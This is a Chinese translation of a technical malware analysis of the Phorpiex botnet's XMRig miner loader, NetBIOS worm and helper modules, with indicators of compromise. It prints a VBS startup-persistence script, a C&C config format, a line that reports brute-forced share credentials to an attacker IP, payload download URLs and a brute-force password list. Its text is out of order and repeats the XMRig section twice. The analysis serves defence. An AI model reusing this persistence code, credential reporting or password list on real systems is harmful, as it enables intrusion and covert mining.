网站上的挖矿工具说明:

1.png

该模块最初由Phorpiex Tldr加载并执行。但是,XMRig Loader模块具有其自身的持久性机制。因此,一旦首次执行,它就可以作为独立的恶意软件来运行。

XMRig Loader分析

Loader所执行的关键操作如下所示:

2.jpg

初始化

为了防止运行XMRig的多个实例,Loader会创建一个具有硬编码名称的互斥量。不同样本中使用的名称可能会有所不同。在我们所分析的样本中,观察到以下硬编码的变种:

· 4b293105d7b102179b20

· bf73f1604fc0b6b3d70d

设置持久性

Loader会将自身复制到“C:\ProgramData\{HardcodedFolder}\{HardcodedExecutable}”。

我们在不同的样本中,发现“{HardcodedExecutable}”参数有不同的值,包括:

· cfgmgr.exe

· windrv32.exe

· sysdrv32.exe

路径“C:\ProgramData\{HardcodedFolder}”也用于存储临时文件,例如VB脚本和传递给挖矿工具的配置。

我们在不同的样本中,发现“{HardcodedFolder}”参数有不同的值,包括:

· FeSdavbMaL

· ADwXcSSGvY

然后,该恶意软件在启动文件夹中创建一个指向自我复制的链接:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{HardcodedFilename}.url

在不同的样本中,发现“{HardcodedFilename}”参数有不同的值,包括:

· kBBcUBIbha

· LtHgNeMqRB

下图展示了启动文件夹中的链接,以及可执行文件的路径:

3.png

我们发现一个值得注意的事情是,Loader会根据系统功能中是否存在以下Emsisoft反恶意软件进程,来选择启动URL的方法:

· a2guard.exe

· a2service.exe

· a2start.exe

如果未检测到这些进程,就会通过执行以下VBS创建启动链接。

由恶意软件创建目录内的VB脚本:

4.png

Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="C:\Users\Lab\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kBBcUBIbha.url"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "[InternetShortcut]" & vbCrLf & "URL=""file:///C:\ProgramData\FeSdavbMaL\cfgmgr.exe"""
objFile.Close

如果VB脚本无法创建这个启动配置,或者检测到上面列出的任何Emsisoft进程,那么就会使用“经典的”WinAPI函数,并直接从加载程序中调用。

该函数内部还有一个额外的检查,使用VBS来检查是否正在运行任何反恶意软件相关进程。通常,VBS是使用以下命令来执行:

cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”

如果发现以下任何进程,则使用线程注入(请参考线程注入一节)代替cmd的直接调用:

· bdagent.exe

· vsserv.exe

· cfp.exe

· ccavsrv.exe

· cmdagent.exe

· avp.exe

· avpui.exe

· ksde.exe

这里,同时支持x86和x64结构。对于x86来说,Loader将搜索explorer.exe。对于x64来说,将会枚举所有进程,但是会忽略以下两个进程:

· csrss.exe

· winlogon.exe

在建立可访问进程的列表后,将选择其中的第一个进行注入。该过程中会将完整的Loader都注入到进程中,但是仅执行其中第一个函数。

下图展示了以上的所有过程:

5.png

线程注入

进行线程注入的目的,是为了通过VBS执行来创建启动配置(与上一节中描述的脚本相同):

cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”

加密

Loader配置值与XMRig挖矿工具Payload使用XOR加密。解密密钥“0125789244697858”被硬编码到二进制文件中。在解密后,我们将得到以下配置值:

1、C&C服务器URL:http://185.176.27[.]132/update.txt

2、XMR加密钱包(由用户ID重写,但直接在其他Phorpiex模块中使用):4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

3、矿池:176.27.132:4545(原文有误,根据后文截图推测为185[.]176.27.132:4545)

执行挖矿

整个挖矿程序可执行文件使用硬编码的XOR密钥解密(请参阅“加密”部分):

6.png

挖矿代码从“C:\Windows\System32”目录(即wuapp.exe)注入到新创建的进程的地址空间中。如果由于某种原因,在获取wuapp.exe的属性时GetFileAttributes返回null,则会启动svchost.exe。

在执行挖矿工具注入和挖矿执行过程中,Loader将检查taskmgr.exe的状态。如果检测到任务管理器正在运行,那么Loader将会终止挖矿工具的运行,并通过无限循环的方式挂起,直至任务管理器不再执行。由于在循环中使用了Sleep(4)函数,因此没有CPU消耗。当没有检测到taskmgr.exe时,挖矿工具将再次启动。

在创建新的进程后,将使用称为Hollowing的技术将挖矿工具注入到该位置。

这里,有一个命令行选项“–show-window”,可以使挖矿窗口可见:

cfgmgr.exe --show-window

下面的屏幕截图展示了该窗口:

7.png

在挖矿工具启动后,Loader将连接到服务器以获取其他指令(如果存在)。有关更多详细信息,可以参考下面的网络通信部分。

XMRig挖矿工具是最终的Payload,来源于GitHub。

注入细节

Loader会映射其自身的ntdll.dll副本,在这里搜索必要的函数,对这些函数进行内部数组指针处理,然后再进行调用。上述所有的过程,都导致用户模式挂钩完全无效。

Ntdll.dll的地址是通过PEB获得的:

8.png

ESI包含ntdll.dll的地址:

ESI 777A000 ntdll.777A000

可以在以下位置找到这个方法的说明(稍作修改):

https://reverseengineering.stackexchange.com/questions/4465/where-is-ntdll-dll

可以通过目录对象“KnownDlls\ntdll.dll”(代表ntdll.dll库的内容以便访问)来访问该库本身,我们可以在这里找到代码示例:

https://community.osr.com/discussion/268187

在这个导出进程后,将解析一段代码。这段代码负责检索必要函数的地址,并将其写入内部数组,以备日后调用。

挖矿配置

加载程序将配置保存到“C:\ProgramData\{HardcodedFolder}\cfg”,并将其作为命令行参数传递到挖矿工具。有关“{HardcodedFolder}”参数的可能值,请参阅持久性的部分。

挖矿配置具有以下结构:

{
       "algo": "cryptonight",
       "autosave": false,
       "background": false,
       "colors": true,
       "retries": 5,
       "retry-pause": 5,
       "syslog": false,
       "print-time": 60,
       "av": 0,
       "safe": false,
       "cpu-priority": null,
       "cpu-affinity": null,
       "donate-level": 0,
       "threads": 1,
       "pools": [
              {
                     "url": "185.176.27.132:4545",
                     "user": "ea7c252d-5590-4983-995d-02a1a35bb966",
                     "pass": "x",
                     "keepalive": false,
                     "nicehash": false,
                     "variant": "r",
                     "tls": false,
                     "tls-fingerprint": null
              }
       ],
       "api": {
              "port": 0,
              "access-token": null,
              "worker-id": null
       }
}

其中的部分代码不是确定的,可以在Loader内部进行修改。但是,通过更详细的分析,我们发现了它其中具有的伪变量性质,我们可以将所有值都视为是常量。

在我们所研究的样本中,所有的配置值都设置为硬编码的,“线程”值设置为等于系统中处理器的数量。

挖矿算法在“variant”字段中设置。在这里,其使用的算法为“CryptoNightR”(门罗币变种4)。

未使用的信息

在Loader执行期间,我们发现内存中保存的XMR钱包。不同的样本中可能会使用不同的钱包。根据我们目前的观察,这里的钱包地址与其他Phorpiex模块中所使用的相同。· 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

· 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoMMyaX2Eun2XCgFYq

这样一来,我们就需要了解该模块中XMR钱包地址的用途。我们检查了所有可能会使用到的地方,发现该位置已经使用用户ID(相当于计算机GUID)进行了重写,然后进行了配置:

9.png

网络通信

XMRig Loader检查C&C服务器上是否包含任何新的指令,并执行找到的指令。通信过程总共执行两次,在挖矿注入前和挖矿注入后。这里使用没有加密过的纯HTTP协议。

我们在相应的字段中找到了这些特定值:

Accept字段:text/*, application/exe, application/zlib, application/gzip, application/applefile

User-Agent字段:WinInetGet/0.1

支持的命令

我们可以在出售Loader的网站(xmrminer[.]net)上找到受支持的命令的描述。需要注意的是,访问该网站可能不安全。

下面使用从C&C服务器发送命令时的格式,列出了这些命令,其中保留了原始注释:

[Miner]
address=YOUR_XMR_ADDRES ; XMR address, email (minergate), btc address (nicehash), etc.
poolport=pool.minexmr.com:4444 ; Do not include 'stratum+tcp://' e.g monerohash.com:3333
password=x ; Pool password
stop=0 ; Change this value to "1" to stop miner. If not specified or equal to "0" miner will work.
proxy=0 ; Change this value to "1" if you are mining to xmrig-proxy instead of pool. This enables using a unqiue address per worker for better miner monitoring.
keepalive=0 ; 0 to disable keepalive, 1 to enable keepalive
 
[Update]
;config_url=http://xmrminer.net/config.txt ; You can update the url that points to the configuration file. Must begin with "http://" or "https://"
knock_time=30 ; Number of minutes the miner waits between visits to config file. If never specified, default is 30 minutes.
;update_url=http://mysite.com/new_miner ; url of new miner. Miner will get updated with this file.
;update_hash=xxxxxxxxxx ; md5 hash of new miner file. 32 characters long (16 byte hexadecimal format for hash). You need to specify this value, othewise miner will not get updated!
 
;End of configuration. Do not remove this line, ";End" string specifies end of configuration file.
 
;Everything after a ";" character is a comment, so it is ignored by the miner when parsing the configuration. Only the ";" character is used for this purpose.
;Always include the appropriate options below the defined "[Miner]" and "[Update]" sections. If you do not include the section names it won't work.
;Make sure everything is spelled correctly
;If you specify "config_url" double check it is correctly spelled, otherwise the miner that reads an incorrect url will never go back to a correct url (i.e. last configuration will be locked).

服务器可以从任何子部分([Miner]或[Update])发送命令,并且可以以独立或组合的方式发送命令。

我们在下面列出了观察到的命令的样本。

1、挖矿工具更新

图10-从C&C服务器获取更新

操作摘要:检索并下载新挖矿工具的URL。

2、挖矿工具停止

从服务器收到“Stop miner”命令:

11.png

图11-从服务器接收到“停止矿工”命令。

这也是非常容易理解的。需要注意的是,服务器可能会请求其他文件名。

我们遇到过的文件名称包括:

· c.txt

· upd.txt

· newup.txt

· update.txt

· xmrupdate.txt

Phorpiex NetBIOS蠕虫模块

该模块代表一种自我传播的蠕虫,还包括用于下载其他Payload的功能。

NetBIOS蠕虫会扫描随机IP地址,以查找开放的TCP/139端口(NetBIOS),并使哟功能用户名和密码的硬编码列表进行暴力破解。攻击本身是无限循环进行的。使用rand()函数随机生成用于扫描的IP地址,并将GetTickCount()的结果作为随机种子。IP地址的唯一过滤规则是不能以127、172或192开头。将会创建一个单独的线程与每个IP地址进行通信。大家也许会发现,这里的扫描功能与Phorpiex VNC蠕虫模块中的扫描功能非常类似。

NetBIOS蠕虫通过创建具有硬编码名称的互斥锁(不同样本中所使用的名称各不相同)来防止在多个实例中多次执行。如果互斥锁已经存在,则会停止执行。

如果是由Phorpiex Tldr加载的,则会使用伪随机名称保存该模块。在自我传播阶段,恶意软件会使用“WindowsDefender.exe”名称上传其自身。在这种情况下,NetBIOS蠕虫必须下载Phorpiex主模块或其他Payload。因此,恶意软件必须通过GetModuleFilename()获取其文嘉铭。如果名称为“WindowsDefender.exe”,则它将尝试从硬编码的URL下载并执行文件。

通过NetBIOS蠕虫下载Payload:

12.png

我们在不同的样本中,观察到以下URL:

· hxxp://92.63.197.153/NB.exe

· hxxp://92.63.197.153/nb.exe

· hxxp://193.32.161.77/CRAZYBLAYNE.exe

· hxxp://92.63.197.153/enum.exe

· hxxp://193.32.161.77/enum.exe

· hxxp://193.32.161.77/aldenta.exe

最后,将进行无限循环的网络扫描。对于每个随机生成的IP地址,NetBIOS模块都会启动一个线程,首先在该线程中检查TCP/139端口是否在目标主机上进行侦听。成功连接后,NetBIOS蠕虫会尝试通过调用NetShareEnum() API函数来枚举网络共享。它只会选择当前与资源建立连接的共享。

选择网络共享进行暴力破解攻击:

13.png

Phorpiex NetBIOS蠕虫会尝试使用用户名和密码的硬编码列表连接到网络共享。

用于暴力破解攻击的凭据:

14.png

密码列表中通常包括非常简单的值,例如“123”、“admin”、“Administrator123”等。

暴力破解过程中,会尝试4个用户名:

· Administrator

· administrator

· Admin

· admin

在成功连接到网络资源后,恶意软件会尝试将其自身复制到以下位置:

· WindowsDefender.exe

· WINDOWS\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

· WINDOWS\StartMenu\Programs\Startup\WindowsDefender.exe

· WINNT\Profiles\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

· ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsDefender.exe

· Users\All Users\Microsoft\Windows\Start Menu\Programs\WindowsDefender.exe

· Documents and Settings\All Users\StartMenu\Programs\Startup\WindowsDefender.exe

当目标路径指向启动文件夹时,恶意软件将有能力创建其自身在目标系统中的持久性。

最后一步是在目标主机上调用上传样本的执行,共有两种执行方式:

1、在远程主机上创建新的服务器。恶意软件使用名称“NetBIOS Windows Defender”创建服务,显示的名称为“NetBIOSWindowsDefender”,创建的服务类型为SERVICE_WIN32_SHARE_PROCESS,以SERVICE_AUTO_START作为启动类型。

2、在远程主机上创建计划任务。新任务的预定时间为当前时间+120秒。为此,恶意软件通过调用NetRemoteTOD() API函数来获取远程时间,并针对特定的时区进行更正。

上述操作是针对每个网络路径来执行的。

在进行每次成功操作之后,都会使用下列格式的HTTP请求向C&C服务器报告:

snwprintf(url, L"hxxp://92.63.197.153/e.php?srv=%ls|%ls|%ls|%ls", NetLocation, UserName, Password, Message);

在HTTP请求中所使用的用户代理是:

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0

该恶意软件可以发送以下消息:

1、消息:CONNECTED!

描述:成功连接所选的用户名和密码

示例:hxxp://92.63.197.153/e.php?srv=?\\1.1.1.1\C$|Administrator|123|CONNECTED!

2、消息:COPIEDFILE

描述:恶意软件Payload已上传

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|COPIEDFILE

3、消息:CreateServiceW

描述:服务已创建

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|CreateServiceW

4、消息:NetScheduleJobAdd

描述:任务已创建

示例:hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|NetScheduleJobAdd

我们还在其他样本中观察到了下面的这些消息:

1、消息:COPiED

描述:恶意Payload已上传

2、消息:SVC-NEWWW

描述:恶意服务已创建

3、消息:SVC-NEW

描述:恶意服务已创建

4、消息:SVC-EXEC

描述:恶意服务已启动

5、消息:Sched-EXEC-NEW

描述:恶意任务已创建

6、消息:Sched-EXEC-OLD

描述:恶意任务已创建

我们在各种样本中,观察到以下的报告URL:

· hxxp://193.32.161.77/nb.php?srv=

· hxxp://193.32.161.77/exec.php?srv=

· hxxp://193.32.161.77/nn.php?srv=

· hxxp://193.32.161.77/gud.php?srv=

· hxxp://193.32.161.77/go.php?srv=

· hxxp://193.32.161.77/netb.php?srv=

· hxxp://193.32.161.77/ok.php?srv=

· hxxp://92.63.197.153/e.php?srv=

· hxxp://92.63.197.153/huh.php?srv=

· hxxp://92.63.197.153/nb.php?srv=

· hxxp://92.63.197.153/tst.php?srv=

· hxxp://92.63.197.153/ya.php?nb=

辅助模块

如我们所见,Phorpiex的通用性非常强。似乎主模块在接收到“命令”队列后,每个命令都是一个单独的可执行模块。与我们先前描述的相反,我们还观察到功能非常有限的微型模块的许多不同变体。其中有一些,甚至无法被判断为恶意。

Phorpiex加载的这类小型可执行文件其中的一个示例是清理模块。它包含两个函数,其唯一目的是终止具有特定硬编码名称的进程,并删除多个注册表自动运行条目。

清理模块终止的进程列表包括:

· winsrvc32.exe

· winupsvcmgr.exe

· winsvcinstl.exe

· winupd32svc.exe

· wincfg32svc.exe

· windrv.exe

· wincfgrmgr32.exe

· winmgr.exe

· wincfg.exe

· wincfg32.exe

· winupd.exe

· winupd32.exe

· winsvcin32.exe

· winupd32cfg.exe

· winmgr32cfg.exe

· csrssc.exe

· csrsscxn.exe

· winsecmgr.exe

· winsecmgrv.exe

· windrvmgr32.exe

清理模块还从注册表项“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”中删除以下值:

· WinCfgMgr

· Windows Update Service Manager

· Microsoft Windows Update Services

· Microsoft Update 495036

· Microsoft Windows Service Installer

· Microsoft Windows Driver Configuration

· Microsoft Windows Installer Svc

· Windows Security Manager

该模块禁用过时的Phorpiex模块,例如Phorpiex Trik。不同的Phorpiex模块使用特定的进程名称作为在被感染系统内部的伪装(例如:cfgmgr.exe、windrv32.exe等)。举例来说,Phorpiex Trik v2.8版本使用进程名称“winmgr.exe”。

Phorpiex Trik v2.8使用的文件名:

16.png

辅助模块的另一种类型是根据地理位置定位的Loader。它使用服务api.wipmania.com来确定受感染计算机的位置。如果返回的代码在白名单内,则恶意软件会从硬编码的URL下载Payload:

17.png

在2019年初,我们看到了针对中国和越南的Loader,并根据具体的位置,将GandCrab勒索软件的不同变种加载到受感染的计算机上。

在GandCrab的开发人员“退休”后,Phorpiex开始在针对特定地理位置的恶意活动中投放Raccoon Stealer。其目标包括印度、印度尼西亚、墨西哥、秘鲁、孟加拉国、巴基斯坦、伊朗、厄瓜多尔和巴西。

总结

Phorpiex是一个非常特殊的恶意软件家族,其功能包括具有粒度功能的微模块。与具有多种不同功能的一体化恶意软件不同,这里有一个类似于构造函数的恶意软件,每个功能模块都承担着特定的任务,例如发送垃圾邮件的模块、用于感染的蠕虫模块等等。如果需要新的功能,那么就引入新模块,而无需重建或重新配置现有的模块。这样的方法不易出错、耗时较少,可以为恶意软件开发人员节省大量精力。

这一恶意软件的风险非常值得关注。迄今为止,Porpiex已经感染了超过100万台计算机,并为其作者带来了可观的利润。我们需要知道,目前我们所能看到的与实际情况相比,估计只是冰山的一角。目前,Phorpiex家族中已经有Raccoon Stealer和Predator The Thief脱颖而出,预计后续还有更多的方法可以实现其恶意活动。

Phorpiex清晰展示了恶意软件家族如何通过不断发展而逐步成为流行。在其发展过程中,完全没有用到复杂的技巧,包括反调试技术、模糊处理等等。

威胁指标

XMRig Slient Loader

MD5:b059cd4b912edd6ca6aad3334e42dbae

矿池:92.63.197.153:9090

更新URL:http://92.63.197.153/c.txt

MD5:36e824615d72d11a3f962ec025bfceba

矿池:185.176.27.132:4545

更新URL:http://185.176.27.132/update.txt

MD5:7f8880c0bc2dd024a3cf5261b6582313

矿池:92.63.197.153:7575

更新URL:http://92.63.197.153/update.txt

MD5:a8ab5aca96d260e649026e7fc05837bf

矿池:193.32.161.69:5555

更新URL:http://193.32.161.69/upd.txt

MD5:d894eb9194a5cb428520914f5521f178

矿池:193.32.161.73:7777

更新URL:http://193.32.161.73/update.txt

MD5:e9c27bbfbf386c55d0672c8a580c13ef

矿池:193.32.161.77:9595

更新URL:http://193.32.161.77/xmrupdate.txt

MD5:b5f1ba1cbf0e402b9a412edce8c6ca28

矿池:92.63.197.60:9090

更新URL:http://92.63.197.60/newup.txt

互斥量名称

0fe420b0eb8396a48280

3f3ff4de39fc87f8152a

4b293105d7b102179b20

5d6eb4d965fd09330511

a6c92143cac02de51d4a

bf73f1604fc0b6b3d70d

ff9702c705fd434610c0

在各种样本中发现的常量字符串:

0125789244697858

f23e1993dfdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

objFile.Write “[InternetShortcut]” & vbCrLf & “URL=””file:///

Phorpiex NetBIOS蠕虫模块

79a9b27bebf2d5dc61b44e51a576e585   hxxp://osheoufhusheoghuesd[.]ru/3.exe

4ca68f9575c366e4156429aa51edec98     hxxp://osheoufhusheoghuesd[.]ru/2.exe

b405cb01f9664b35e351c85ae368a662    hxxp://osheoufhusheoghuesd[.]ru/5.exe

00a30dd47d891979d19743279d9632c7   hxxp://osheoufhusheoghuesd[.]ru/5.exe

7f2906a696b27f63859d9250876908f6     hxxp://osheoufhusheoghuesd[.]ru/3.exe

URL

hxxp://92.63.197.153/NB.exe

hxxp://92.63.197.153/nb.exe

hxxp://193.32.161.77/CRAZYBLAYNE.exe

hxxp://92.63.197.153/enum.exe

hxxp://193.32.161.77/enum.exe

hxxp://193.32.161.77/aldenta.exe

在不同示例中观察到的NetBIOS蠕虫模块暴力破解攻击所使用的密码列表:

Administrator

administrator

Admin

admin

Admin123

admin123

Admin12345

admni12345

password

Password

PASSWORD

password123

passwd

pass

pass123

123

1234

12345

123456

1234567

12345678

123123

654321

54321

4321

321

server

Server

srv

user

User

USER

user123

testuser

test

test1

testtest

test123

testing

qwerty

1q2w3e

abc

abcde

abcabc

asd

asdf

abc123

computer

internet

secure

changme

boss

desktop

desk

temp

windows

public

master

lan

lan123

LAN

net

network

demo

setup

backup

letmein

sysadmin

mysql

monitor

operator

monkey

money

辅助模块

39db80011f66bd6a67b717e6e4f875ba    清理模块

88fa70f752612c03b6cb9718a1248778     清理模块

b943cb767c772ebb6f0c7c80ff98cc3e       清理模块

9c6fc641121324152ed4e1958fd09a65     清理模块

cf904ade613134cbf505050fbfd1b7fa       VNC蠕虫模块

250d6ceed2c29a281a4a135b7234056a    地理位置定位Loader(GandCrab)

f44b6e0aed5ba70ea123ede5942ffaae      地理位置定位Loader(Raccoon)

db931ca9471c69d11df0f70089cb96f4      地理位置定位Loader(Raccoon)

5b12844df9f807fdd3020266f211168e      地理位置定位Loader(Raccoon)

1d053f476509e9100b1f98fef9de7cc7      地理位置定位Loader(Raccoon)

URL

http://92.63.197.153/KrabGEO.exe

http://92.63.197.153/KrabLang.exe

http://193.32.161.77/stl.exe

http://185.176.27.132/inf/n.exe

http://185.176.27.132/p.exe

Check Point Anti-Bot blade可以抵御以下威胁:

Worm.Win32.Phorpiex.C

Worm.Win32.Phorpiex.D

Worm.Win32.Phorpiex.H

Phorpiex僵尸网络技术分析

概述

近期,我们发布过一篇关于Phorpiex的分析文章,针对最近发现的恶意活动中所使用的僵尸网络技术进行了分析。本文将在此基础上,继续对其他部分进行深入分析,主要包括:

1、XMRig Silent Loader;

2、NetBIOS蠕虫模块;

3、辅助模块(包括根据地理位置定位的Loader和清理模块)。

XMRig Silent Loader

该模块的主要作用是启动嵌入式XMRig 门罗币挖矿工具。

门罗币(XMR)是一种去中心化的加密货币,所谓加密货币是指一种在用户网络中使用的安全数字现金形式。通过分布式共识来确认交易,然后按照实际情况记录到区块链上。

该加密货币之所以对恶意软件运营人员非常有吸引力,其原因在于该过程的匿名性:“门罗币无法追踪,默认情况下混淆了发送地址、接收地址和交易金额。门罗币区块链上记录的交易无法定位到特定用户或真实世界中的身份。”

门罗币挖矿工具包含称为XMRig的开源代码,是用于通过Phorpiex僵尸网络来获得收益的Payload之一。在我们以前的研究中,我们曾讨论过僵尸网络通过挖掘加密货币而获取收益的能力。被感染的计算机每月可以为恶意软件运营人员产生约15000美元的收入。

恶意软件运营人员所需做的,就是将挖矿工具投递到受感染的计算机上并运行。这就是XMRig Silent Loader模块(也称为XMRig Loader)的作用。挖矿工具及其参数(例如:用于挖矿和目标用户的线程数)使用简单的加密方式进行混淆,并嵌入到模块中。在执行之前,会将参数解密并传递给挖矿工具。

实际上,Phorpiex使用的XMRig Loader与在hxxps[://]xmrminer[.]net/网站上出售的XMRig Loader相同,很可能是从该网站上购买的。

网站上的挖矿工具说明:

1.png

该模块最初由Phorpiex Tldr加载并执行。但是,XMRig Loader模块具有其自身的持久性机制。因此,一旦首次执行,它就可以作为独立的恶意软件来运行。

XMRig Loader分析

Loader所执行的关键操作如下所示:

2.jpg

初始化

为了防止运行XMRig的多个实例,Loader会创建一个具有硬编码名称的互斥量。不同样本中使用的名称可能会有所不同。在我们所分析的样本中,观察到以下硬编码的变种:

· 4b293105d7b102179b20

· bf73f1604fc0b6b3d70d

设置持久性

Loader会将自身复制到“C:\ProgramData\{HardcodedFolder}\{HardcodedExecutable}”。

我们在不同的样本中,发现“{HardcodedExecutable}”参数有不同的值,包括:

· cfgmgr.exe

· windrv32.exe

· sysdrv32.exe

路径“C:\ProgramData\{HardcodedFolder}”也用于存储临时文件,例如VB脚本和传递给挖矿工具的配置。

我们在不同的样本中,发现“{HardcodedFolder}”参数有不同的值,包括:

· FeSdavbMaL

· ADwXcSSGvY

然后,该恶意软件在启动文件夹中创建一个指向自我复制的链接:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{HardcodedFilename}.url

在不同的样本中,发现“{HardcodedFilename}”参数有不同的值,包括:

· kBBcUBIbha

· LtHgNeMqRB

下图展示了启动文件夹中的链接,以及可执行文件的路径:

3.png

我们发现一个值得注意的事情是,Loader会根据系统功能中是否存在以下Emsisoft反恶意软件进程,来选择启动URL的方法:

· a2guard.exe

· a2service.exe

· a2start.exe

如果未检测到这些进程,就会通过执行以下VBS创建启动链接。

由恶意软件创建目录内的VB脚本:

4.png

Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="C:\Users\Lab\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kBBcUBIbha.url"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "[InternetShortcut]" & vbCrLf & "URL=""file:///C:\ProgramData\FeSdavbMaL\cfgmgr.exe"""
objFile.Close

如果VB脚本无法创建这个启动配置,或者检测到上面列出的任何Emsisoft进程,那么就会使用“经典的”WinAPI函数,并直接从加载程序中调用。

该函数内部还有一个额外的检查,使用VBS来检查是否正在运行任何反恶意软件相关进程。通常,VBS是使用以下命令来执行:

cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”

如果发现以下任何进程,则使用线程注入(请参考线程注入一节)代替cmd的直接调用:

· bdagent.exe

· vsserv.exe

· cfp.exe

· ccavsrv.exe

· cmdagent.exe

· avp.exe

· avpui.exe

· ksde.exe

这里,同时支持x86和x64结构。对于x86来说,Loader将搜索explorer.exe。对于x64来说,将会枚举所有进程,但是会忽略以下两个进程:

· csrss.exe

· winlogon.exe

在建立可访问进程的列表后,将选择其中的第一个进行注入。该过程中会将完整的Loader都注入到进程中,但是仅执行其中第一个函数。

下图展示了以上的所有过程:

5.png

线程注入

进行线程注入的目的,是为了通过VBS执行来创建启动配置(与上一节中描述的脚本相同):

cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”

加密

Loader配置值与XMRig挖矿工具Payload使用XOR加密。解密密钥“0125789244697858”被硬编码到二进制文件中。在解密后,我们将得到以下配置值:

1、C&C服务器URL:http://185.176.27[.]132/update.txt

2、XMR加密钱包(由用户ID重写,但直接在其他Phorpiex模块中使用):4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

3、矿池:176.27.132:4545(原文有误,根据后文截图推测为185[.]176.27.132:4545)

执行挖矿

整个挖矿程序可执行文件使用硬编码的XOR密钥解密(请参阅“加密”部分):

6.png

挖矿代码从“C:\Windows\System32”目录(即wuapp.exe)注入到新创建的进程的地址空间中。如果由于某种原因,在获取wuapp.exe的属性时GetFileAttributes返回null,则会启动svchost.exe。

在执行挖矿工具注入和挖矿执行过程中,Loader将检查taskmgr.exe的状态。如果检测到任务管理器正在运行,那么Loader将会终止挖矿工具的运行,并通过无限循环的方式挂起,直至任务管理器不再执行。由于在循环中使用了Sleep(4)函数,因此没有CPU消耗。当没有检测到taskmgr.exe时,挖矿工具将再次启动。

在创建新的进程后,将使用称为Hollowing的技术将挖矿工具注入到该位置。

这里,有一个命令行选项“–show-window”,可以使挖矿窗口可见:

cfgmgr.exe --show-window

下面的屏幕截图展示了该窗口:

7.png

在挖矿工具启动后,Loader将连接到服务器以获取其他指令(如果存在)。有关更多详细信息,可以参考下面的网络通信部分。

XMRig挖矿工具是最终的Payload,来源于GitHub。

注入细节

Loader会映射其自身的ntdll.dll副本,在这里搜索必要的函数,对这些函数进行内部数组指针处理,然后再进行调用。上述所有的过程,都导致用户模式挂钩完全无效。

Ntdll.dll的地址是通过PEB获得的:

8.png

ESI包含ntdll.dll的地址:

ESI 777A000 ntdll.777A000

可以在以下位置找到这个方法的说明(稍作修改):

https://reverseengineering.stackexchange.com/questions/4465/where-is-ntdll-dll

可以通过目录对象“KnownDlls\ntdll.dll”(代表ntdll.dll库的内容以便访问)来访问该库本身,我们可以在这里找到代码示例:

https://community.osr.com/discussion/268187

在这个导出进程后,将解析一段代码。这段代码负责检索必要函数的地址,并将其写入内部数组,以备日后调用。

挖矿配置

加载程序将配置保存到“C:\ProgramData\{HardcodedFolder}\cfg”,并将其作为命令行参数传递到挖矿工具。有关“{HardcodedFolder}”参数的可能值,请参阅持久性的部分。

挖矿配置具有以下结构:

{
       "algo": "cryptonight",
       "autosave": false,
       "background": false,
       "colors": true,
       "retries": 5,
       "retry-pause": 5,
       "syslog": false,
       "print-time": 60,
       "av": 0,
       "safe": false,
       "cpu-priority": null,
       "cpu-affinity": null,
       "donate-level": 0,
       "threads": 1,
       "pools": [
              {
                     "url": "185.176.27.132:4545",
                     "user": "ea7c252d-5590-4983-995d-02a1a35bb966",
                     "pass": "x",
                     "keepalive": false,
                     "nicehash": false,
                     "variant": "r",
                     "tls": false,
                     "tls-fingerprint": null
              }
       ],
       "api": {
              "port": 0,
              "access-token": null,
              "worker-id": null
       }
}

其中的部分代码不是确定的,可以在Loader内部进行修改。但是,通过更详细的分析,我们发现了它其中具有的伪变量性质,我们可以将所有值都视为是常量。

在我们所研究的样本中,所有的配置值都设置为硬编码的,“线程”值设置为等于系统中处理器的数量。

挖矿算法在“variant”字段中设置。在这里,其使用的算法为“CryptoNightR”(门罗币变种4)。

未使用的信息

在Loader执行期间,我们发现内存中保存的XMR钱包。不同的样本中可能会使用不同的钱包。根据我们目前的观察,这里的钱包地址与其他Phorpiex模块中所使用的相同。· 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV

· 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoMMyaX2Eun2XCgFYq

